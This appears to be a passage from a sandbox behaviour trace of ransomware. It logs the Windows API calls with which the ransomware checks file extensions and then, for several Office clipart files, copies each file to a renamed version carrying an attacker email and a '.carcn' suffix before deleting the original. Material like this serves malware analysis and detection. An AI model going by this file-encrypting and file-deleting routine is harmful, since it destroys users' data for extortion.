(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0295.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.370] lstrlenW (lpString=".doc") returned 4 [0295.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.370] lstrlenW (lpString=".docx") returned 5 [0295.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.371] lstrlenW (lpString=".pdf") returned 4 [0295.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.371] lstrlenW (lpString=".xls") returned 4 [0295.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.371] lstrlenW (lpString=".xlsx") returned 5 [0295.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.371] lstrlenW (lpString=".ppt") returned 4 [0295.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.371] lstrlenW (lpString=".zip") returned 4 [0295.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.371] lstrlenW (lpString=".rar") returned 4 [0295.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.371] lstrlenW (lpString=".bz2") returned 4 [0295.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.371] lstrlenW (lpString=".7z") returned 3 [0295.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.371] lstrlenW (lpString=".dbf") returned 4 [0295.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.371] lstrlenW (lpString=".1cd") returned 4 [0295.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.371] lstrlenW (lpString=".jpg") returned 4 [0295.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.371] lstrlenW (lpString=".doc") returned 4 [0295.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.371] lstrlenW (lpString=".docx") returned 5 [0295.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.372] lstrlenW (lpString=".pdf") returned 4 [0295.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.372] lstrlenW (lpString=".xls") returned 4 [0295.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.372] lstrlenW (lpString=".xlsx") returned 5 [0295.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.372] lstrlenW (lpString=".ppt") returned 4 [0295.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.372] lstrlenW (lpString=".zip") returned 4 [0295.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.372] lstrlenW (lpString=".rar") returned 4 [0295.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.372] lstrlenW (lpString=".bz2") returned 4 [0295.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.372] lstrlenW (lpString=".7z") returned 3 [0295.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.372] lstrlenW (lpString=".dbf") returned 4 [0295.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.372] lstrlenW (lpString=".1cd") returned 4 [0295.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0295.372] lstrlenW (lpString=".jpg") returned 4 [0295.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.372] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.372] lstrlenW (lpString="BD00160_.WMF") returned 12 [0295.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.373] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=22516) returned 1 [0295.373] CloseHandle (hObject=0x350) returned 1 [0295.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0295.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.374] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.374] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0295.374] GetLastError () returned 0x0 [0295.374] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x57f4, lpOverlapped=0x0) returned 1 [0295.375] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x5800, lpOverlapped=0x0) returned 1 [0295.380] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.380] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.380] SetEndOfFile (hFile=0x34c) returned 1 [0295.380] CloseHandle (hObject=0x34c) returned 1 [0295.381] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.381] SetEndOfFile (hFile=0x350) returned 1 [0295.381] CloseHandle (hObject=0x350) returned 1 [0295.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0295.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.382] lstrlenW (lpString=".doc") returned 4 [0295.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.382] lstrlenW (lpString=".docx") returned 5 [0295.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.383] lstrlenW (lpString=".pdf") returned 4 [0295.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.383] lstrlenW (lpString=".xls") returned 4 [0295.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.383] lstrlenW (lpString=".xlsx") returned 5 [0295.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.383] lstrlenW (lpString=".ppt") returned 4 [0295.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.383] lstrlenW (lpString=".zip") returned 4 [0295.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.383] lstrlenW (lpString=".rar") returned 4 [0295.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.383] lstrlenW (lpString=".bz2") returned 4 [0295.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.383] lstrlenW (lpString=".7z") returned 3 [0295.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.383] lstrlenW (lpString=".dbf") returned 4 [0295.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.383] lstrlenW (lpString=".1cd") returned 4 [0295.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.383] lstrlenW (lpString=".jpg") returned 4 [0295.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.384] lstrlenW (lpString=".doc") returned 4 [0295.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.384] lstrlenW (lpString=".docx") returned 5 [0295.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.384] lstrlenW (lpString=".pdf") returned 4 [0295.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.384] lstrlenW (lpString=".xls") returned 4 [0295.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.384] lstrlenW (lpString=".xlsx") returned 5 [0295.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.384] lstrlenW (lpString=".ppt") returned 4 [0295.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.384] lstrlenW (lpString=".zip") returned 4 [0295.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.384] lstrlenW (lpString=".rar") returned 4 [0295.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.385] lstrlenW (lpString=".bz2") returned 4 [0295.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.385] lstrlenW (lpString=".7z") returned 3 [0295.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.385] lstrlenW (lpString=".dbf") returned 4 [0295.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.385] lstrlenW (lpString=".1cd") returned 4 [0295.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0295.385] lstrlenW (lpString=".jpg") returned 4 [0295.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.385] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.385] lstrlenW (lpString="BD00173_.WMF") returned 12 [0295.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.386] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=16180) returned 1 [0295.386] CloseHandle (hObject=0x350) returned 1 [0295.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0295.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.387] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.387] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0295.387] GetLastError () returned 0x0 [0295.388] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3f34, lpOverlapped=0x0) returned 1 [0295.389] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3f40, lpOverlapped=0x0) returned 1 [0295.390] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.391] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.391] SetEndOfFile (hFile=0x34c) returned 1 [0295.391] CloseHandle (hObject=0x34c) returned 1 [0295.391] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.391] SetEndOfFile (hFile=0x350) returned 1 [0295.392] CloseHandle (hObject=0x350) returned 1 [0295.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0295.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.394] lstrlenW (lpString=".doc") returned 4 [0295.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString=".docx") returned 5 [0295.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.394] lstrlenW (lpString=".pdf") returned 4 [0295.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString=".xls") returned 4 [0295.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.394] lstrlenW (lpString=".xlsx") returned 5 [0295.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.394] lstrlenW (lpString=".ppt") returned 4 [0295.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.394] lstrlenW (lpString=".zip") returned 4 [0295.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.394] lstrlenW (lpString=".rar") returned 4 [0295.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString=".bz2") returned 4 [0295.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString=".7z") returned 3 [0295.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.394] lstrlenW (lpString=".dbf") returned 4 [0295.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.394] lstrlenW (lpString=".1cd") returned 4 [0295.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.395] lstrlenW (lpString=".jpg") returned 4 [0295.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.395] lstrlenW (lpString=".doc") returned 4 [0295.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString=".docx") returned 5 [0295.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.395] lstrlenW (lpString=".pdf") returned 4 [0295.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString=".xls") returned 4 [0295.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.395] lstrlenW (lpString=".xlsx") returned 5 [0295.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.395] lstrlenW (lpString=".ppt") returned 4 [0295.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.395] lstrlenW (lpString=".zip") returned 4 [0295.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.395] lstrlenW (lpString=".rar") returned 4 [0295.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString=".bz2") returned 4 [0295.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.395] lstrlenW (lpString=".7z") returned 3 [0295.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.396] lstrlenW (lpString=".dbf") returned 4 [0295.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.396] lstrlenW (lpString=".1cd") returned 4 [0295.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0295.396] lstrlenW (lpString=".jpg") returned 4 [0295.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.396] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.396] lstrlenW (lpString="BD05119_.WMF") returned 12 [0295.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.396] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=17236) returned 1 [0295.397] CloseHandle (hObject=0x350) returned 1 [0295.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0295.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0295.397] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.397] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0295.398] GetLastError () returned 0x0 [0295.398] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x4354, lpOverlapped=0x0) returned 1 [0295.900] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x4360, lpOverlapped=0x0) returned 1 [0295.906] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.906] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.906] SetEndOfFile (hFile=0x34c) returned 1 [0295.906] CloseHandle (hObject=0x34c) returned 1 [0295.906] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.907] SetEndOfFile (hFile=0x350) returned 1 [0295.908] CloseHandle (hObject=0x350) returned 1 [0295.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0295.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0295.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 